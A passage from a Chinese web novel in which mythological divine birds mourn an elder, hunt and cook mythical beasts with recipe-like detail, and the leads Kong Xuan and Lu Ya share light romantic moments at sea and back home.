来的神鸟们或站或坐,他们零散地站在周围, 不知是谁先唱起了歌。 那是来自遥远过去的歌,那个时候的人们不知风不知雨, 肆意地赞颂着风与雨的存在, 而风和雨都是鲲先生。 他将化成风化成雨,永远留在人间。 有人唱起了《逍遥游》, 那是一个少年亲眼目睹了鲲先生的宏伟所写的赞歌, 千年的传承,历久弥新。 鲲先生很喜欢, 昏昏沉沉间,他似乎应和了两声又似乎没有。 天色青白,空气中却透出了一种压抑如暴风雨来临前夕时窒息闷热的氛围。 悠远漫长的鲸鸣接连响起,穿透时间、空间, 像是有无数生灵意识到了鲲先生的逝去,它们齐齐嗡鸣,借由海水送来一片祝福。 深沉的海水中,一片巨影彻底失去力气,漫漫潜进水下,海水在他的周身倒灌逆流,他无力沉下,无数的鱼群在他周身巡游辗转,汇聚成一片又一片的海底星空,顺着水流陪同他一起潜入。 不断地下潜排出细密的光影,五光十色的深海奇景在瞬间变得黑暗、茫然,伴随着细雨敲击海面的和声。 极为沉闷的一声闷响被无数气泡裹挟着上涌,气泡破碎之时,无数灵气喷涌而出。 化为实质的灵气像是冲天的烟花,在光色下折射出奇异的色彩,化作绵绵小雨湿淋淋地浇在众人身上。 一鲸落万物生。 无数生命就此诞生,又有无数奇迹将在这片海域成型。 深海里的变化不得而知,破碎的灵境照出一片璀璨金芒,半边青白逐渐消退色彩,将要落下的太阳还停留在地平线上,昏黄的颜色映入海面,粼粼与天空映出水天一色。 此刻世界万籁俱寂。 重明眯着眼盯着远方:“你们看那是什么?” 所有人下意识扭头,只见一只似猪似鹿的妖怪顶着两只尖尖的鹿角,一边在海面奔跑一边将漫天霞光引来。 朦胧白雾被怪物驱散,怪物一边嚎叫一边踏水,毫不客气地扭头撕咬在空中盘旋的海鸟,海鸟们拍打着翅膀一边大叫一边四逃。 好好的氛围感都被它破坏了! 孔宣眺望远方,用手肘捅了捅旁边的陆压:“诶,那是不是无损兽?” “什么无损兽?”住在山里的青鸾困惑歪头,与句芒两眼茫茫:“你知道吗?” 毕方大叫:“那就是无损兽啊!孔宣你还不快去抓!” “管它什么无损兽!”最讨厌有东西吃鸟的重明撸起袖子,愤怒咆哮:“该死的家伙!给老娘死!” …… 众鸟顿时一片混乱,死了只鸟的悲伤还没酝酿成功,瞬间被突然出现的无损兽击溃。 青鸾被这怪物的鹿角叉了一下,吓得哇哇叫:“不要追我啊!!” “给我站住!”孔宣追在后面大喊,一只火红的大鸟从头顶掠过,陵光轻蔑哼笑:“傻了吧,我们会飞!” 少了腿的毕方萧云鬓不方便变鸟,只能支棱着金属腿指挥:“诶诶!左边……右边!小心!” “砰”的一声,陵光被指挥得晕头转向,翅膀一扇正要俯冲,被蒙头撞过来的重明重击,一起坠进大海,被无边海浪吞没。 陵光大怒:“毕方!” 萧云鬓视线乱飘,心虚地扭过脑袋,假装什么都不知道。 一群年龄加起来能创世的神鸟哗啦啦跟着那只似猪似鹿的怪物跑,自己抓不到还要怪拖同伴后腿,闹得鸡飞狗跳,大吵大闹间什么悲伤什么难过都烟消云散。 最后一把飞刀横空出世,一击刺入无损兽的脖子结束战斗。 无损兽僵硬几分,不等它再挣扎,束缚飞刀的伸缩收紧,飞刀被扯出的同时,刺眼的血红喷溅而出。 陆压收回飞刀,他在飘摇的海浪中踩在小艇最高处,染红的短刀在手中转了转,血液顺着刀身甩落,锋利的银光在刀边淌过。 他挑了下眉,弹了弹刀片,刀身发出清脆的声响:“还不错。” “捉到了吗?”他扬声问。 “哈哈哈!”孔宣一把扑在无损兽身上,他简直扬眉吐气,高兴得手舞足蹈,举起手嚣张宣布:“我捉到了!我捉到了!” 他朝陆压眨了眨眼,满脸笑容的远远比划了一样“OK”的手势。 “吃什么?怎么吃?” 他实在太兴奋了,等不及其他人过来,自己一把扛起,乐滋滋地回了小艇。 一只无损兽太大,几乎把整个甲板给占满了,就算小艇位置不小,现在站上两个人也觉得有点拥挤。 陆压翻到甲板,蹲在地上扒拉几下,琢磨出了几道菜。 “想吃什么?”在其他人赶过来前,陆压低声问孔宣。 孔宣蹲在旁边,手掌撑着下巴,腮帮子鼓起一团,眼睛滴溜溜转了一圈,还没想好,陵光的控诉先来了。 “小陆压,你只问孔宣不问我们的吗?” “对呀对呀,这种好东西可不能独占啊!” “早我就想问了,这是哪位?”不明所以的重明探过头,审视的目光在孔宣和陆压身上转了一圈,突然露出十分促狭的表情:“不会是孔宣你带的家属吧?” 家属?陆压被呛了一下。 孔宣把眉一挑,大咧咧地靠在陆压肩上,一把揽过他的肩膀朝重明露出一个挑衅的表情:“怎样?” “哇哦~” 众人顿时听取哇声一片,左右看看,眉宇间都能看见八卦的味道。 “不是吧?真是家属?” “什么时候的事?假的吧?你这么多年脱单去了?” …… 孔宣一副高深莫测的模样,他歪着脑袋,眼中含着笑意去打量陆压,陆压神色冷淡称得上不动声色,和之前一模一样。 死装鬼。 孔宣戳了戳他的肩膀,腮帮子鼓了鼓,故意拖长语气:“那当然——” 所有目光汇聚到他身上,陆压眼睛转动,目光瞥向他时眼尾赫然收紧,无声等待着他的答案。 只见孔宣眉眼一弯,非常干脆地说:“不是。” “不过也算是,他是我老板,怎么不算家属?”他把手往腰上一插,理直气壮的模样像是在说谁敢说不是他就找谁麻烦。 嚣张跋扈的态度张扬极了,连他脸上的笑容也显得恶劣肆意。 陆压手指松开,猝然怔了一下,配合着说:“对,我开了家餐厅,他现在在为我工作。” 众鸟顿时:“切!” 没有八卦聊,众鸟一哄而散,随便他们怎么做了。 陆压没什么表情地低下头,将防水布铺在无损兽的身下,他拿着刀在上面比划了两下。 还没决定怎么下手,重明鸟过来看了一眼:“我来。” 她动作干脆利落,甚至嫌陆压束手束脚,直接拎着那么大一只到船边,随手划拉一刀,血瞬间喷进海里。 她寻摸了根烟,叼在嘴里朝陆压挑眉示意了一下。 陆压摸摸口袋:“进水里了,没火。” 重明顿时啧了一声,自己扭头找毕方要火。 她动作干练,一看就是做惯活计的,听说是在哪个地方干林业保护,叼着烟一副懒懒散散的样子,干活格外麻利。 三两下就把那么大一只给杀干净了,内脏除了肠子和胃丢了,其他全留下来了。 重明利索地放血剖胸,面对眼前白花花的肉舞了舞胳膊,准备大展身手:“你要做什么?铁锅炖?” 陆压无声翻出一口锅,这小艇里就这一口小锅,做不了铁锅炖。 “炒几个菜,剩下肉涮火锅吧。”重明看了一眼,直接就定了菜单。 或许是鸟类都这样特立独行,重明说一不二,很有萧云鬓萧老师的风范。 陆压并无意见,只是习惯性沉默。 孔宣一下子从船头蹦了过来,危险地眯起眼睛,一把钳制住重明的肩膀,从背后阴测测地逼问:“你欺负他?” 重明一脸茫然地指了指自己:“我?这算哪门子欺负?” 护这么死? 孔宣哼了一声,不高兴地皱起眉,眼神格外锐利,上上下下把重明看了一圈,似乎要用锐利的目光看出她欺负人的蛛丝马迹! 他目光实在锐利,仿佛陆压是什么小可怜,而他满腔正义,势要将小可怜救出魔爪。 重明眼睛一眯,从这个态度中品了几分不对:“孔宣,你不对劲。” 不对劲!真的很不对劲! 你刚刚说的老板,真的不是老公或老婆吗?还是说现在的人习惯喊另一半老板? 第26章 第26章藕尖爆炒无损兽6 不…… 不对劲, 真的很不对劲! 重明面露怀疑,她双手环抱,倾身靠近孔宣,锐利的眼神十足试探。 绕着孔宣转了几圈, 将他从头扫到尾, 重明语气笃定:“你真的很不对劲!” “哪不对劲?”孔宣与她对视, 姿态坦然自若。 重明夹着烟,慵懒地吐出一个烟圈, 雾气朦胧了她的眉眼,她隔着薄雾与孔宣对视, 猝然笑了起来。 “你啊!”哪哪都不对劲。 重明笑得意味深长,抬手拍了拍孔宣的肩膀,擦肩而过的瞬间,她歪过脑袋,轻声在孔宣耳边低语。 “这门亲事我同意了。” 孔宣:!!! 孔宣猝然挑起长眉, 狭长的丹凤眼瞪得滚圆,不可置信地歪了下头, 似乎听到了什么脏东西。 “喂!重明!” 他伸手要抓重明的肩膀, 是陆压抓住了他的手,孔宣睫毛一颤, 下意识回头看他。 陆压眉头微皱, 用手蹭了蹭他的衣摆:“沾到血了。” 孔宣的衣摆上有大片大片的血,扎眼一看像是由内晕染而出的, 看起来很刺眼。 这是抓无损兽不小心沾到的,无损兽倒下的时候,孔宣下意识扑上去,直接把血染到了衣服上。 他自身并不在意, 傲气十足地站在船头,忙着和小伙伴们插科打诨,欢快的嗓音活泼又热闹。 让人远远看着,像是一只不停蹦跶的欢快小鸟,支棱着羽毛得意洋洋。 被陆压点出来,孔宣才后知后觉,他蹭了蹭后背,发现手上染满了血,孔宣顿时皱眉,面露嫌弃。 陆压把他拉进船仓里,小艇分为驾驶室与内休息室两个部分,休息室不大,两个人大男人挤进去腿肚子几乎能碰到床沿。 挤进去关上门的一瞬间,空间里瞬间泛起焦灼的热意。 鸟类大长腿的优势完全没有比过陆压的身量,孔宣自认为自己已经很高了,在陆压面前仍然矮了大半个头,靠近时,光影顺着男人的肩膀落下,洒在他的眉眼。 孔宣睫毛乱颤,眼睛顿时不知道往哪里飘。 他眼睛滴溜溜地转了一圈,视线落在了陆压的锁骨,他垂下眼睛,看着那凸起的锁骨,弯曲的骨骼表层附着着血肉,青红的经脉蜿蜒跳动,像是吸引他往下探索。 被摸了锁骨,陆压:? 他单手拎起一件短袖,一手按住孔宣的后颈,刻意压低的嗓音低沉极了:“脱吧。” 孔宣磕巴一瞬:“脱、脱什么?” 大胆!居然敢觊觎孔雀大王! 孔宣双眼圆睁,下意识地拽住衣摆,刚捋到腰腹,就听陆压困惑地回答:“换身衣服?” 不然还能是什么? 孔宣:…… 他顿时面皮发烫,气呼呼地一把捋起衣服脱下,背过身套衣服时,嘴巴里念念叨叨:“什么破衣服,丑死了!丑死了!” 没有注意到某人盯着他的后腰,逐渐灼热起来的眼神。 或许是鸟类骨骼轻盈,孔宣身上的肌肉并不明显,被裹藏在过于白皙的皮肤下,肌肉线条十分漂亮。 他转过身从背后看,纤细的后腰凹下去两边,是两边的腰窝,本就纤细的腰似乎又细了一分,随手就能掌握。 陆压睫羽垂落,浓密的睫羽垂下一片阴影,遮住了他眼底异色。 他不动声色,只是伸手配合着将卷起的衣摆捋顺抚平。 粗壮的手指蹭到细腻的皮肤,一片酥酥麻麻的感觉顺着背脊流窜到头皮,孔宣顿时觉得头皮发麻,他背过身到动作似乎十分不妙。 空间烧着一般,溢满焦灼的氛围。 以至于孔宣出门,红发的神鸟指着他问:“你脸怎么红了?” 孔宣茫茫然一摸,理直气壮地控诉:“里面太热了,你准备的船又小又破,进去连身都转不开,闷死了。” 陵光看着他背后跟出来的陆压挑眉。 是一个人进去转不开还是两个人进去转不开? 陵光脸上的戏谑与调笑太明显了,两只天然就不对付的雄鸟顿时撞在一起,又开始了菜鸡互啄。 跟着走出来的陆压面色镇定地走到重明旁边,重明撸着袖子正在拆骨头,随手撕了一块腹部肉塞给他。 “炒菜够吗?” 那块腹部肉是从脊骨那里一撕到底,几乎有一只怪物的四分之一大小。 陆压掂了掂:“够了。” 很够。 他上船之前紧急采购了物资,准备了很多做鱼的材料,因为孔宣爱吃辣,青红辣椒买了不少。 陆压翻了一圈,翻出一包藕尖,顿时决定做藕尖炒肉。 藕尖拆包切成长短一样的藕段,由于包装好的藕尖已经腌过,陆压并没有多加调料,用盆装好备用。 把肉切成大小合适的肉片,加上盐、胡椒粉和料酒加水腌制,手上不停搅弄肉片,干淀粉抓匀,加上香油提鲜。 生姜、大蒜、辣椒切好,将包装袋里的泡椒切碎备用,之后就可以开始准备爆炒。 锅中加水加盐,大火煮沸,加入藕尖焯水,藕尖用清水过凉,这个过程中重新起锅。 热锅下油,加入备好的泡椒、米椒和蒜末姜丝炒香,依次倒入肉片、藕尖。 做到这一步,再倒入辣椒翻炒,瞬间激起滋滋油香,霸道的辣味轰然从锅中飘出。 正四散着看孔宣和陵光吵架的神鸟瞬间扭过脑袋,孔宣也不吵了,三两步蹦到陆压身边,锅的烟气扑到他的脸上,他深深吸了一口气,被这爆辣的香味迷得神魂颠倒。 看不起这小锅炒菜的重明脑袋一转,眼睛直勾勾地盯着翻炒的小锅。 这股霸道的香气,只是稍微闻一闻瞬间就占据了所有人的思维。 他们齐刷刷地探过脑袋,一个挨着一个坐在船沿边上,完全被吸走了所有神智,眼巴巴地看着锅子。 见陆压起锅装菜,眼里的渴望瞬间溢了出来。 “这是什么这么香?” “这真的是人类能做出来的东西吗?你是厨神转世吧!” “饿饿,喂喂!” …… 陆压端着菜过去的时候,这群鸟手忙脚乱,又是端盘子又是起桌子,硬是把自己挤到了餐桌上,痴迷的目光转都转不动了,直勾勾地盯着他手上的盘子。 菜一上桌,瞬间四面八方袭来的筷子你一筷我一筷,影子“唰唰”飞过,眨眼间桌子上只剩下一个空盘子。 泡过的藕尖爆炒进辣味,一入嘴里,泡椒的酸辣交融在一起,清脆的藕尖吸满了汤汁,在口中一嗦酸辣的味道瞬间直击味蕾,过于细嫩的软肉在口中咀嚼,装点上辣椒的香味,更是好吃得没边。 肉嫩到入嘴有种嚼牛肉的感觉,在牙齿间一嚼,顿时好吃得让人连舌头都忍不住吞下去,夹着藕尖吸溜一口,酸辣的口感让人头皮发麻。 只是这么吃上一口,足以把任何人迷得五迷三道,脑子里除了好辣,就只剩下对美食的渴望。 世界上怎么会有这么好吃的东西! 他们吃完碗里的,顿时把目光投向餐桌,餐桌上只剩下一个空盘,于是苛责的目光投向了同伴,眼里满是控诉。 刚刚还亲亲热热的家人,为了一盘菜顿时分道扬镳,齐刷刷地将祈求的目光投向陆压。 陆压:。 陆压只能撸起袖子,继续炒菜。 众鸟顿时欢呼出声,纷纷撸起袖子准备也展示一下自己的拿手好菜。 他们从海里捞来各种鱼虾、海带,把这些投到锅里一炖,一盘一盘菜上桌,跟吃大排档一样。 陵光从船仓里拎出一箱啤酒,很帅气地往桌子上一惯,桌子一沉发出沉闷的吱呀声。 “喝。”他挑起眉,把啤酒往桌子上一敲,和孔宣碰杯。 有陵光刻意鼓动,散场之后,整个小艇只剩下晕乎乎的孔宣大王和唯一清醒的陆压。 陆压拿着一个杯子坐在孔宣旁边,一个脑袋枕在他的肩膀,呼吸忽轻忽重地喷洒在皮肤上,刺得人皮肤发红。 他淡淡地抿了一口酒,海风从四面八方吹来,吹得他似乎也有些头晕目眩,脑子似乎还沉浸在刚刚的热闹氛围。 这群聒噪又闹腾的神鸟似乎一点都不在乎有个同伴死了,自顾自地喝酒玩闹,颇有种今朝有酒今朝醉的洒脱。 热热闹闹地喝了一通,闹着脾气要唱歌跳舞,笑得恣意欢快。 以至于热闹抽身,都让人显得无所适从。 陆压低眸只能看到肩膀上的黑色发顶,刚刚就这只鸟玩得最欢乐。 他伸出手捏住孔宣的下巴,将之抬起时,孔宣双眼迷醉,面上泛起难耐的红云,像是一只乖觉的玩偶,睁着漂亮的眼睛满目朦胧地望着他。 孔宣似乎没意识到眼前是谁,眼底的神色如酒酿般晃了晃,茫然地往前靠了靠。 他实在太晃了,陆压下意识扶住他的肩膀。 只听到一声近乎呓语地低喃:“陆压……” 陆压没听清楚,他“嗯?”了一声,歪过耳朵正要细听。 突然耳尖一痛,醉酒的孔宣目露凶光,凶巴巴地一口咬住他的耳朵。 他嗓音含糊,眼尾化开一片绯色,含糊的嗓音似在抽噎,睫毛一眨,湿盈盈地要落下泪来。 他忍不住抽笑,听起来像是抽泣:“陆压,你还是这个死样子——” “……” “陆压。” 孔宣近乎脱力地压在陆压身上,脸贴着脸,露出一脸茫然与恍惚,茫茫然地眨动眼睛,眼尾的湿意坠在眼睫上遥遥欲坠。 “你怎么还是这个死样子?” 热热闹闹的聚会不喜欢,安安静静地独处也不高兴。 你到底喜欢什么呢? 孔宣无意识呓语,依靠着陆压圈在自己腰后的手臂才没有摔倒,脸上的空茫闪烁几息,忍不住吃吃地抽笑起来。 “你为什么总是不笑呢?笑起来多好看,该对我多笑笑。” 细长的手指点在陆压的唇角,压着往上一挑,露出一个僵硬的笑容。 孔宣忍不住笑了起来,他笑得乐不可支,像是一支震颤的花枝,笑得花枝乱颤。 他一边笑一边后仰,最后醉倒在陆压怀里,迷蒙地晃了晃脑袋。 温醺的酒意迷糊了他的大脑,他脑子空空地转了转,不知道自己为什么要笑,为什么要哭,只有一连串的眼泪顺着眼角滑落。 粗糙的手指碾过他的眼角,擦出一边刺激的绯红。 陆压嗓音低沉,极轻极轻地问他:“为什么要哭呢?” 他扶起孔宣的脑袋,将脸贴在他的脸上,两个人耳鬓厮磨,似乎能感受到从他身上传递过来的热气,小麦酒发酵的醇香醉醺醺地染上衣角。 孔宣茫茫然地睁着眼睛,泪珠沾湿了眼睫,一缕一缕地粘在一起,可怜巴巴地望着他。 他几乎失去了意识,所说的话所做的事,似乎都没有办法理解,连自己为什么要哭都不知道。 只是这么睁大眼睛看着陆压,满脸的陌生像是很久很久没有见过他般。 陆压没有办法,捞着他瘫软的身体,无声地弯起唇角。 经常不笑的人突然笑了起来,锁在眉宇间的沉闷与冷峻猝然散开,瞬间冰雪融化,露出底下温暖柔和的草地,暖盈盈地绽开花朵。 陆压如孔宣所说,真的弯起唇角笑了起来。 大概是笑得十分难看,孔宣哭得更厉害了。 他埋着脑袋,肩膀不停地抖动,陆压瞬间慌乱,下意识地扶住他的肩膀,手慌张地收紧又放开。 直到一声笑从孔宣的指缝中溢出,再仔细一看,孔宣哪是在哭,他分明是笑,一边笑一边抖动着肩膀,腹腔用力地收缩放纵,忍笑忍得腹痛。 陆压:“……真的这么难看吗?” 他又皱起了眉头,这一次露出实实在在的苦恼。 孔宣歪着脑袋,“嗯嗯”摇头,伸手戳了戳他的侧脸,满脸无辜地眨了眨眼。 “好看。”为了加重自己说话的分量,他扬起头,郑重地点了点脑袋重复:“真好看。” 他一把靠在陆压肩膀上,手指卷着发丝绕啊绕,还是忍不住笑,吃吃地抽笑起来。 “你喜欢我。”孔宣终于笃定起来。 这话真没有前后逻辑,陆压忍不住问:“好看就要喜欢你吗?” 孔宣笑得更厉害了,他笑得几乎喘不过气,醉醺醺地靠在陆压身上,白软的腮帮子陷下一片,呼呼吹着酒气。 “不是、不是……”他翻来覆去地念叨着,纠结是什么不是也说不出个所以然,只是茫茫然摇头。 他睁着眼睛,分明眉眼嚣张锐利,在此刻却像是懵懂的孩童,眉宇间的茫然与依赖看得人心头火热。 陆压忍不住伸手掐了掐他的腮帮子,抬手遮住他的眼睛。 卷翘的睫毛像是小刷子一般搔过掌心,更让人心痒难耐,陆压捂着他的脸,忍不住低叹。 “没有人会不爱你。” 怎么能不喜欢? 他有着陆压所没有的气势,洒脱、开朗又自信,拥有劈开一切的力量,是爱里长出来的孩子。 即便经历过风霜,也绝不消减他那颗纯洁怜爱的赤子之心。 要怎么样的爱才能浇灌出这样的性格? 陆压思绪放空一瞬,只觉得脑袋空白,他无法想象孔宣得到了怎样的爱。 没有人会不爱他。 “唔?” 微暖的阳光撒在眉眼,不停摇晃起伏的床铺如有魔力,孔宣挣扎几次,才艰难地睁开眼睛,睫毛眨动间眼下还带着将醒未醒的困意。 他无意识地抱着被子蹭了蹭,突然一个鲤鱼打挺翻了起来,一把拉起被子看了看自己的衣服,再扭头看了看周围。 显然是还没有回过味来,一脸茫然地眨巴眼睛。 直到大门打开,陆压跟刚见面时那样倚靠在门框上:“醒了?” “吃早饭吗?” 孔宣眼睛眨呀眨,还是没能想起来自己是在哪。 但一说早饭,他满脸欢喜,兴冲冲地回答:“吃!” 肯定要吃! 孔宣把被子一掀,巴巴地跟着陆压往外走,走到外面被海风一吹,顿时反应过来他们在哪了。 “我们怎么还在海上啊?”孔宣皱着脸,一脸嫌弃。 陆压无奈:“大王,船没油了,当然还在海上。” 他拎起自己早上钓的一连串海鱼,示意般给孔宣看了看,语气轻松:“只有这个了,吃烤的还是水煮?” 他翻了翻自己自制的捕章鱼神器,从里面拎出两条八爪章鱼,小章鱼在他掌心疯狂蠕动挣扎。 陆压挑眉:“还有两只章鱼,大王可以吃两只。” “哈,谁要吃这东西啊!”孔宣叉腰,张牙舞爪地控诉。 他哼唧两声,扭扭捏捏地被推到船头,被陆压一哄,顿时得意地扬起下巴,嘴角上扬的笑容怎么压也压不住。 “真没办法,还得我来!” 看他孔雀大王的厉害! 孔宣打了个响指,瞬时间狂风大起,云朵卷入风中,涛涛海水被小艇抛之身后。 小艇以一种格外疯狂的速度一路乘风踏浪,循着风向奔腾冲击海岸。 在码头准备登船出海的人眺望远方,面露错愕:“等等,什么东西朝我们冲过来了?” “是船!什么船能开那么快!” “要撞上来了,快躲开快躲开!” 人群一阵惊呼,就见一道黑影由远及近,飞速朝他们冲击而来,一头撞上码头,在即将撞上的前一刻有人按下刹车,极速地停泊稳住。 巨大的冲击掀起海水,洗地般冲上码头又飞速褪去。 精准停泊! 孔宣眉飞色舞,傲气地挑起长眉,脸上的得意怎么藏都藏不住。 “哗啦——” “……”陆压默不作声地打开排水口,将倒灌进船的海水全部扫走。 他脑袋发晕,顿时觉得自己不想吃早餐了。 在海上钓的鱼被陆压就近卖给了路边的小摊,他和孔宣在路边吃了一碗酸辣开胃的特色捞粉,一人一块斑斓糕,一起肩膀挨着肩膀走回酒店。 海风清凉地吹拂过面上,两人迎着海风,齐刷刷地露出舒适的表情。 孔宣还得意着自己的精准停泊,脸上的笑容怎么也消不去,被海风一吹,眯起眼睛美得不行。 突然他想了昨天晚上吃的那只无损兽,脸上的笑容一顿,紧急拍打陆压。 “鸦!快快快!” 他嘴巴里的斑斓糕还没有咽下,腮帮子鼓起一边,急切地吞咽几次,含糊不清地跳脚。 孔宣急得不行,在陆压茫然的目光中,终于咽下粘糕,急忙催促:“快给萧云鬓打电话!” 他的一百万! 陆压急忙给萧云鬓打电话,一边打一边给孔宣拍背顺其,孔宣顺过气来,忍不住又咬了一口粘糕。 电话开了免提,他侧耳倾听,咬着粘糕一脸专注,脸色变来变去得十分精彩。 萧云鬓声音一出,他立刻对陆压使眼色。 陆压还没领悟,萧云鬓先笑了起来,笑声顺着听筒断断续续地传进孔宣的耳朵。 孔宣:…… 仿佛已经看到一百万朝他拜拜了。 “孔宣。”萧云鬓的声音幸灾乐祸极了,她那边发出清脆的金属敲击声,架着腿把玩自己的金属支架,漫不经心地说:“这次大家都有份,可不能算你的。” “滚吧。”孔宣面无表情。 “不过孔宣,我还是可以给你一百万的。”萧云鬓的话迟迟到来,她在电话那头发笑:“等我死的时候,可以由你来继承这笔遗产。” “哈哈哈——” 电话挂断,萧云鬓爽朗的笑声还在耳边回荡。 刚长出新腿,鸟有点激动。 孔宣忍不住想翻白眼,露出一脸窒息:“那跟没有有什么区别!” 孔宣气呼呼地把最后一口斑斓糕吃进嘴里,腮帮子鼓鼓囊囊地用力咀嚼。 在太阳升到最高处时,他拍拍手,一身轻松的歪头对陆压说:“看来我们要努力挣新的一百万了。” 陆压比了个没问题的手势,一脸老实:“好的,大王。没问题,大王。” “明天打算吃什么?” 孔宣指着路边电视机,新闻联播里的美女主持用字正腔圆的播音腔,准时播报今日早间新闻。 “据悉,近日有多起野兽伤人事件……还请大家外出尽量结伴,遇见不明生物及时通知警方……” 小屏幕里的影像即便是打了码,也足以看透厚重的马赛克下的血腥惨像,一只打了码的畸形怪物张开翅膀,庞大的翅膀遮天蔽日。 孔宣:“吃烤鸡腿怎么样?” 第27章 第27章油炸瞿如腿 烤鸡腿是…… 烤鸡腿是吃不到了。 午间一架通往来广市的飞机从机场起飞, 掠过天空,带着轰鸣声投向来广市的机场。 来来往往的明亮机场里,孔宣在飞机上睡了一觉,下来后依旧觉得自己头晕目眩。 “唔, 这玩意坐得我骨头都要散架了。” 人类的飞机便利归便利, 还不如他自己飞, 在空中飞了一圈,坐得他骨头都要散架了。 他“呜哇”一声, 像是汽笛拉长语调,懒懒散散地蹬着腿拉伸一下, 懒散地伸了个懒腰,散漫靠在陆压的肩膀,没忍住埋头蹭了蹭。 然后又精神百倍地支楞起来,薄薄的碎发俏皮支棱,在空中摇头晃脑。 “回家回家!” 孔雀大王嘿咻嘿咻地推着陆压快走, 两个人脚尖跟着脚跟,挨着往前走。 陆压被他推着, 眼神还跟在他身上, 目光在孔宣笑意盈盈的脸上转了一圈,顺手把孔宣拎到身边。 “往这边走, 大王。” 他拎着孔宣转了一个方向, 从机场出口走出去,外面一圈的出租车等着招揽顾客。 陆压从口袋里摸出几个硬币, 正要带孔宣上公交车,就见孔宣突然探过头,饶有趣味地看着一个方向。 “看,那只瞿如。” 孔宣手指一指, 脸上的表情变得玩味狡黠。 他眨眨眼,一只似的白头鸟张开翅膀,从他们的视线飞速掠过,口中“瞿如瞿如”的叫喊,扑簌簌的振翅声鲜明至极。 孔宣随手捡了块石子在手上掂了掂,做了一个投掷的起手式。 不大的石子几乎看不见影子,只能看见那只瞿如似被什么击中,飞舞的动作歪斜一瞬,翅膀疯狂扇动,如一片剪影哀哀地往下坠落。 孔宣“嘿”了一声,欢喜地一拍手:“中了!” “快快快,烤鸡腿烤鸭翅!” 他急匆匆地拍打陆压的手臂,催着赶着拉着他一起,深怕有人抢先。 从车站后面拎起那只白头鸟时,他神色激动,眉头舞动着朝陆压露出一个得意的表情,嘴角的笑容压都压不住,像是在说“我厉害吧?”。 陆压跟着他匆匆忙忙走过去,路过垃圾车时顺手从上面扯了个黑色垃圾袋,正好这个时候撑开把鸟塞进去。 被打中的瞿如翅膀有一处贯穿伤,被孔宣抓着翅膀塞进黑色袋子里,顿时不顾疼痛也要发出刺耳的尖叫:“瞿如瞿如!” 爪子尖利地撕开垃圾袋,正要挣扎而出,被路过阿姨眼疾手快摁住了。 阿姨手脚麻利,还奇怪:“你们哪买的鸡,力气这么大。” 被踹了一脚,顿时惊呼:“这鸡得劲!走地□□!” 阿姨动作格外娴熟,隔着垃圾袋,把过长的袋子拧成绳随手给它捆了起来,把翅膀根捆住,顿时断了瞿如一臂,再把脚捆了,更是让瞿如无处逃生。 俨然成了被打包好的礼物,被经验丰富的能干阿姨捆翅膀捆脚治得严严实实。 孔宣一看这架势,意外激起了共伤其类的恐惧,顿时汗毛直竖,怂怂地躲在陆压身后。 陆压面不改色:“嗯对,来接人顺便带的走地鸡……好吃,东门市场买的……不贵,二十八一斤呢。” 好不容易把热心肠的阿姨哄走了,阿姨走之前直拍腿,后悔自己怎么没去东门市场看一圈,错过了这么好的农家走地鸡。 嘟嘟囔囔的,越听越吓人。 陆压把身后的孔雀大王带出来,孔雀大王看起来嚣张肆意,天不怕地不怕,居然还怕一个阿姨。 陆压不免觉得好笑,孔雀大王双眼一瞪,他顿时表现出一脸严肃,表示自己并没有在笑。 孔宣哼了一声,人又支棱起来了,为了挽回颜面走路非常嚣张,大跨步往前走了几步,不认路还是倒回陆压身边。 陆压手里拎着袋子,手顺着他的背顺了顺。 他还没说话,孔宣先色厉内荏地发出气声:“你别说话,别问!就怕就怕,你不怕你是狗!” 孔宣气盛大呼,脸上又心虚又理直气壮的小表情格外活泼,大胆又放纵,孩子气得鼓起一边腮帮子,不自觉露出不服气的小表情。 陆压意外挑眉,顺着他的话说:“是是是,我也怕,大王,我好怕。” 陆压突然想起来之前在网上看到过的打包孔雀,就是束着翅膀遮着眼睛,五花大绑。 看不见又不能动,可见这样的画面能让孔雀大王造成多大的心理阴影,是绝对不能让孔雀大王看见的恐怖画面。 为了安慰受惊的孔雀大王,陆压提出:“回去就给大王炸鸡腿吃。” 孔雀大王哼哼唧唧:“我不吃爪子。” “好。” “我也不吃鸟头。” “好。” “你也不能吃。” 陆压好脾气地一一答应。 “好好好。” 不答应能怎么呢,怕孔雀大王气呼呼要挠他。 鸟类之间互相捕食的情况不在少数,特别是鹰隼那种大型鸟,孔雀大王这样的大型鸟吃小鸟更没有丝毫心理负担。 不过爪子、脑袋那些他是看也不看。 两人拎着这只瞿如回了店里,没来得及开店,先点燃气准备洗个澡再躺床上休息一会。 出门两天,小院还是老样子,就是院子里多了一堆落叶,桃树上的桃子也成熟了。 陆压在后院转了一圈,手里多了两个桃子:“大王,你后院种的树好像活了。” 都长叶子了! 孔宣正在散捆起来的头发包,听到自己种的枝丫活了,连忙从窗户往外看,枝叶繁茂的桃树在院中亭亭而立,孔宣是左看看右看看,气得一巴掌拍在窗户上。 “这树长这么大干什么!我都看不见了。” 陆压将粉白粉白的桃子递给他,比在孔宣气鼓鼓的侧脸边,一时分不清是桃子香还是崭新出浴的孔雀大王香。 孔宣大王黑发披散,单薄的衣服隐约透出肩胛骨的形状,趴在窗户边上,翘起的身板更添了别样的魅力。 他腮帮子微鼓,被热水醺出的绯色在两腮点缀,清透出几分涩意,身上似乎还带着湿漉漉的潮气,雾蒙蒙地沾在衣服上。 陆压顺手将他卷起的衣摆往下扯了扯,垂着眼睛说:“比之前长了两片叶子,得走近才能看到。” 这可让孔宣大王兴趣大减。 他眯起眼睛,骄纵地把自己摔在床上,身子往后一靠,懒洋洋说:“那等下再看吧。” 孔宣咬了口桃子,清甜的桃香顺着汁水溢入唇齿,他顿时面露愉悦,甜蜜地舔了舔嘴角。 顿时又觉得那棵桃树还是有很大用处的。 他态度转变太快,一颗桃子就哄好了脾气,陆压失笑,自己也拿着桃子往嘴里送。 一口下去,果肉结实甜蜜,是很清甜的白脆桃。 或许是因为家养的本地品种,桃子味道很鲜明,里面汁水饱满,品尝起来比闻嗅到的桃香还要甜蜜几分。 孔宣咔嚓咔嚓啃完一个,洗洗手又倒回床上去了,在被子里翻滚一圈,整个人头朝下埋进了绵软的被子里。 “呜哇——”他试图从柔软的被子里挣扎出来,最终被可恶的被子大王打败,沉沉埋进其中。 “我要、先睡、上一觉……呼呼呼……” 孔雀大王深陷被子大王的陷阱,眼睛一闭,呼呼睡了起来。 陆压在旁边看着孔雀大王如何与邪恶被子大战,最终他主动伸手,将被子盖在孔雀大王身上,盖住露出来的长腿,孔雀大王睡得更香了。 